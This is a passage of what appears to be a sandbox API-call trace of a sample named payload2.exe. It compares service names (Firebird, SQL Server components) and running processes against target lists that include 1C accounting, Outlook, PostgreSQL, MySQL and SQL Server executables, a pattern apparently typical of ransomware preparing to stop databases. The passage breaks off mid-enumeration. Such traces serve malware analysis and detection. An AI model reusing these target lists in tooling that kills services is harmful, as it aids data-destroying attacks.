(lpString="lmhosts") returned 7 [0267.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0267.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0267.839] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0267.839] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0267.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0267.839] lstrlenW (lpString="MMCSS") returned 5 [0267.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0267.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0267.839] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0267.839] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0267.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0267.840] lstrlenW (lpString="MpsSvc") returned 6 [0267.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0267.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0267.840] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0267.840] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0267.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0267.840] lstrlenW (lpString="nsi") returned 3 [0267.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0267.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0267.840] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0267.840] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0267.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0267.840] lstrlenW (lpString="PlugPlay") returned 8 [0267.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0267.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0267.840] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0267.840] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0267.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0267.840] lstrlenW (lpString="Power") returned 5 [0267.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0267.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0267.840] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0267.840] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0267.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0267.840] lstrlenW (lpString="ProfSvc") returned 7 [0267.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0267.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0267.840] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0267.840] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0267.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0267.840] lstrlenW (lpString="RpcEptMapper") returned 12 [0267.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0267.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0267.841] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0267.841] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0267.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0267.841] lstrlenW (lpString="RpcSs") returned 5 [0267.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0267.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0267.841] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0267.841] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0267.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0267.841] lstrlenW (lpString="SamSs") returned 5 [0267.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0267.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0267.841] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0267.841] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0267.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0267.841] lstrlenW (lpString="Schedule") returned 8 [0267.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0267.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0267.841] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0267.841] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0267.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0267.841] lstrlenW (lpString="SENS") returned 4 [0267.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0267.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0267.841] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0267.841] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0267.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0267.841] lstrlenW (lpString="ShellHWDetection") returned 16 [0267.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0267.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0267.841] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0267.841] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0267.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0267.841] lstrlenW (lpString="Spooler") returned 7 [0267.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0267.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0267.842] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0267.842] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0267.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0267.842] lstrlenW (lpString="Themes") returned 6 [0267.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0267.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0267.842] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0267.842] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0267.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0267.842] lstrlenW (lpString="UxSms") returned 5 [0267.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0267.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0267.842] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0267.842] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0267.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0267.842] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x421d440 | out: hHeap=0x2a0000) returned 1 [0267.842] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2fc [0267.843] Process32FirstW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.843] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0267.844] lstrlenW (lpString="System") returned 6 [0267.844] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0267.844] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0267.844] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0267.844] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0267.844] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0267.844] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0267.844] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0267.844] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0267.844] lstrlenW (lpString="smss.exe") returned 8 [0267.844] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0267.844] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0267.844] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0267.844] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0267.844] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0267.844] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0267.844] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0267.844] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.844] lstrlenW (lpString="csrss.exe") returned 9 [0267.844] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0267.845] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0267.845] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0267.845] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0267.845] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0267.845] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0267.845] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0267.845] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0267.845] lstrlenW (lpString="wininit.exe") returned 11 [0267.845] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0267.845] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0267.845] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0267.845] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0267.845] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0267.845] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0267.845] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0267.845] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.845] lstrlenW (lpString="csrss.exe") returned 9 [0267.845] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0267.845] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0267.845] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0267.845] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0267.845] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0267.846] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0267.846] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0267.846] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0267.846] lstrlenW (lpString="winlogon.exe") returned 12 [0267.846] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0267.846] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0267.846] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0267.846] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0267.846] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0267.846] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0267.846] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0267.846] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0267.846] lstrlenW (lpString="services.exe") returned 12 [0267.846] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0267.846] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0267.846] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0267.846] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0267.846] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0267.846] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0267.846] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0267.847] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0267.847] lstrlenW (lpString="lsass.exe") returned 9 [0267.847] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0267.847] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0267.847] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0267.847] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0267.847] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0267.847] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0267.847] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0267.847] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0267.847] lstrlenW (lpString="lsm.exe") returned 7 [0267.847] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0267.847] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0267.847] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0267.847] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0267.847] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0267.847] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0267.847] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0267.847] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.848] lstrlenW (lpString="svchost.exe") returned 11 [0267.848] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.848] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.848] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.848] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.848] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.848] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.848] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.848] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.848] lstrlenW (lpString="svchost.exe") returned 11 [0267.848] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.848] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.848] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.848] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.848] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.848] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.848] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.848] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.849] lstrlenW (lpString="svchost.exe") returned 11 [0267.849] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.849] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.849] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.849] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.849] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.849] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.849] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.849] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.849] lstrlenW (lpString="svchost.exe") returned 11 [0267.849] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.849] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.849] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.849] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.849] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.849] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.849] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.849] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.849] lstrlenW (lpString="svchost.exe") returned 11 [0267.849] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.849] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.849] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.850] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.850] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.850] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.850] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.850] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0267.850] lstrlenW (lpString="audiodg.exe") returned 11 [0267.850] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0267.850] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0267.850] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0267.850] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0267.850] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0267.850] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0267.850] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0267.850] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.850] lstrlenW (lpString="svchost.exe") returned 11 [0267.850] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.850] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.850] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.850] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.850] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.850] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.850] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.850] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.851] lstrlenW (lpString="svchost.exe") returned 11 [0267.851] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.851] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.851] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0267.851] lstrlenW (lpString="userinit.exe") returned 12 [0267.851] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0267.851] lstrlenW (lpString="dwm.exe") returned 7 [0267.851] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.852] lstrlenW (lpString="explorer.exe") returned 12 [0267.852] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.852] lstrlenW (lpString="spoolsv.exe") returned 11 [0267.852] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0267.852] lstrlenW (lpString="taskhost.exe") returned 12 [0267.852] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.852] lstrlenW (lpString="svchost.exe") returned 11 [0267.852] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0267.853] lstrlenW (lpString="payload2.exe") returned 12 [0267.853] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0267.853] lstrlenW (lpString="reader_sl.exe") returned 13 [0267.853] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0267.853] lstrlenW (lpString="dllhost.exe") returned 11 [0267.853] 